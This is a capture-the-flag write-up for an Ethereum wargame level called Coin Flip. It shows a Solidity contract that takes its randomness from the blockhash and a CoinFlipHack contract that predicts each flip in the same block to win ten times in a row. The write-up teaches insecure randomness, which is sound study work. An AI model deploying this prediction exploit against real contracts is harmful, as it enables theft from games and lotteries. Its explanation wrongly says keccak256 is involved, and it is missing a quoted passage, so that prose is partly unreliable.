Page cover image

Coin Flip

randomness

Description

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help:

  • See the Help page above, section "Beyond the console"

Background Knowledge

Randomness in Ethereum

Randomness in Ethereum is generated by keccak256. This generated hash is finally converted into a large integer, and then compute this integer modulo n.

This method of deriving pseudo-randomness in smart contracts makes them vulnerable to attack. Adversaries who know the input, can thus guess the "random" outcome.

Code Audit

Fixed version of the original code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Here pragma and import are updated.

In this contract, block.number is used as the seed of keccak256 for generating randomness. But when does block.number change? The time it takes for block.number to increment is called block time. Quote from Ethereum doc:

That means, if we do the math fast enough (within the 12 to 14 seconds interval), then block.number will be a fixed number and it produces a deterministic result. Randomness is broken here.

Solution

This level is not possible to be solved in console. Instead, we shall write a "proxy" contract in Remix IDE and name it CoinFlipHack. This proxy contract does all the math and calls the flip() function of the original contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './CoinFlip.sol';

contract CoinFlipHack {

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public {
        coinFlipContract = CoinFlip(_coinFlipContract);
    }

    function flip() public returns (bool) {

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        coinFlipContract.flip(side);
    }
}

We define a constructor like this to feed in the address of the original contract. Deploy the CoinFlipHack contract:

Once the contract is successfully deployed, click "flip" 10 times to make 10 guesses:

Click "Submit instance" and move on to the next level.

Summary

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).

Last updated